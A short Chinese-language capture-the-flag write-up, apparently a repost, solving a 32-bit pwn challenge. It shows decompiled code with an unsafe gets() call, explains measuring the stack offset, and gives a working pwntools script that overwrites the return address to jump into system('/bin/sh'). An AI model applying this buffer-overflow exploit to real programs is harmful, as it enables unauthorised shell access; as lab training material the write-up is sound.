1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char s; // [esp+1Ch] [ebp-64h] 4 5 setvbuf(stdout, 0, 2, 0); 6 setvbuf(_bss_start, 0, 1, 0); 7 puts("There is something amazing here, do you know anything?"); 8 gets(&s); 9 printf("Maybe I will tell you next time !"); 10 return 0; 11 }
打开IDA,发现第8行有gets函数。
1 void secure() 2 { 3 unsigned int v0; // eax 4 int input; // [esp+18h] [ebp-10h] 5 int secretcode; // [esp+1Ch] [ebp-Ch] 6 7 v0 = time(0); 8 srand(v0); 9 secretcode = rand(); 10 __isoc99_scanf((const char *)&unk_8048760, &input); 11 if ( input == secretcode ) 12 system("/bin/sh"); 13 }
然后发现有system("/bin/sh"),所以就可以直接利用gets函数覆盖返回地址,转到这里就可以拿到shell了。
在这里可以看到,要溢出的变量s,在ida中显示的位置是ebp-64h,但是实际上通过动态调试,才知道这个数不对。
在这里输入的数据是0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901AAAA,从图中可以看到,输入位置的栈帧与ebp的距离有6C字节。
接下来就要写脚本了,首先我是把这个secure函数的首地址作为返回地址去进行覆盖的(即这里的080485fd)。结果发现不行,然后就再看这个函数的反汇编。
当时就想着再次进行栈溢出覆盖,把这里的if给绕过,后来试了好多次,也没成功。原因可能是这个scanf虽然能够接受任意长度的变量,但这里的参数是%d,也就是说只能输入整数,所以即使再怎么输入,也只能正常的输入4个字节数据。当然也有可能是我构造的payload不对。总之没有成功。
后来才知道,直接把返回地址改成这个system函数开始的地方就可以了,根本用不着绕过啥的。
1 from pwn import * 2 io=process(‘./pwn1‘) 3 payload=b‘A‘*112+p32(0x0804863A) 4 io.send(payload) 5 io.interactive()
这个题给我的启发挺大的,之前的思维定势太大了,看到需要返回函数地址的,就习惯性的把首地址传过去,但是实际上,只要是正常的汇编指令,修改一下eip,都可以直接执行。
原文:https://www.cnblogs.com/sweetbaby/p/14099939.html